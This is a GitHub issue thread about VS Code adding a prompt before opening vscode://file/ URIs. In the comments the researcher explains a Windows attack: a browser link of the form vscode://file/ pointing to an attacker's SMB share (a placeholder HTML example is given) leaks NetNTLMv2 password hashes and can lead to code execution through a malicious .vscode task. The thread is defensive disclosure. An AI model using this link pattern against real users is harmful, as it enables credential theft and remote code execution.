Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prompt users when opening vscode://file/... URIs #95252

Closed
Tyriar opened this issue Apr 14, 2020 · 10 comments
Closed

Prompt users when opening vscode://file/... URIs #95252

Tyriar opened this issue Apr 14, 2020 · 10 comments
Assignees
Labels
bug Issue identified by VS Code Team member as probable bug

Comments

@Tyriar
Copy link
Member

Tyriar commented Apr 14, 2020

In order to eliminate security concerns on Windows, VS Code will now ask the user for permission before opening a URI of the form vscode://file/<path>.

Credits go to Abdel Adim 'smaury' Oisfi of https://www.shielder.it.

@Tyriar Tyriar added the bug Issue identified by VS Code Team member as probable bug label Apr 14, 2020
@Tyriar Tyriar added this to the March 2020 Recovery milestone Apr 14, 2020
@Tyriar Tyriar self-assigned this Apr 14, 2020
@Tyriar Tyriar closed this as completed Apr 14, 2020
@DanTup
Copy link
Contributor

DanTup commented Apr 14, 2020

VS Code will not ask

I guess this is a typo, and should say "now"?

@softlion
Copy link

What is the security concern ? Opening a file using vscode can lead to code execution ?

@smaury
Copy link

smaury commented Apr 16, 2020

@softlion
Windows can open files hosted on SMB shares.
By default if a SMB share link is opened Windows sends the NetNTLMv2 of the logged-in user, which is basically your DOMAIN\username:hash_of_password. [1]
If you send those information to an attacker-controlled SMB share she could crack your password.
Moreover, hosting on the SMB share a custom task in the .vscode directory could allow the attacker to execute arbitrary code on the victim's client while running that task.

Considering the fact that vscode URIs can be opened through a browser (<a href="vscode://file/\<attacker-ip>\<share>\<path>">click me!</a>) it's a good idea to prompt the user what's happening before sharing her hashes 😉

[1] https://github.com/SpiderLabs/Responder

@mahen23
Copy link

mahen23 commented Apr 17, 2020

This is what happens when you hire a bunch of SJW to write your code.

@cristi8
Copy link

cristi8 commented Apr 20, 2020

@softlion
Windows can open files hosted on SMB shares.
By default if a SMB share link is opened Windows sends the NetNTLMv2 of the logged-in user, which is basically your DOMAIN\username:hash_of_password. [1]
If you send those information to an attacker-controlled SMB share she could crack your password.
Moreover, hosting on the SMB share a custom task in the .vscode directory could allow the attacker to execute arbitrary code on the victim's client while running that task.

Considering the fact that vscode URIs can be opened through a browser (<a href="vscode://file/\<attacker-ip>\<share>\<path>">click me!</a>) it's a good idea to prompt the user what's happening before sharing her hashes

[1] https://github.com/SpiderLabs/Responder

Wait, so opening an untrusted directory in vscode can lead to arbitrary code execution on my machine? (by having a malicious .vscode directory)

@smaury
Copy link

smaury commented Apr 20, 2020

Wait, so opening an untrusted directory in vscode can lead to arbitrary code execution on my machine? (by having a malicious .vscode directory)

Yes, but requires user interaction:

  1. You must open the untrusted project
  2. You must run a task

This is possible because VS Code allows to specify a shell command as task [1], but in my opinion is more likely a feature than a security issue, that's why I didn't even report it 🤷🏾‍♂️

@Tyriar can probably argue more on the design choice.

[1] https://code.visualstudio.com/docs/editor/tasks

@DifficultNick
Copy link

DifficultNick commented Apr 20, 2020

How about giving the option to disable this prompt through settings?
When this action is frequent the extra click on "Yes" becomes annoying :(

@Tyriar
Copy link
Member Author

Tyriar commented Apr 20, 2020

@Tyriar can probably argue more on the design choice.

I didn't actually make this fix, I was just one of the endgame masters for the month. Follow #95670 for an answer on the UX side, normally we opt for the safer side though.

@jtbrower
Copy link

I have a situation where this is forcing me to answer the question twice. I have an internal tool that generates an HTML page shown in Chrome with links similar to the one below. The link points to the line number, column and file that is opened when I click on the link to the code from HTML page that I display through Chrome. Back when I built the tool, I spent a quite a while trying to stop Chrome from prompting me each time I open the file but just learned to live with it. Now that this has been added to VSCode, anytime I try to open an html link from Chrome to VSCode I am prompted once by Chrome and then a second time by VSCode. I wish both programs had an option to allow bypass without confirmation but it now appears that links like <a href='vscode://file/D:\OSPOS5\Shared\Build\Settings.Build.props:13:5'>.\Shared\Build\Settings.Build.props</a> are of little value now. I appreciate the security concerns but we are all advanced developers who should be able to bypass impractical annoyances like this. Can we please have a setting for this?

@Tyriar
Copy link
Member Author

Tyriar commented Apr 24, 2020

@jtbrower please comment on #95670 regarding UX problems with this fix.

@github-actions github-actions bot locked and limited conversation to collaborators May 29, 2020
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
bug Issue identified by VS Code Team member as probable bug
Projects
None yet
Development

No branches or pull requests

8 participants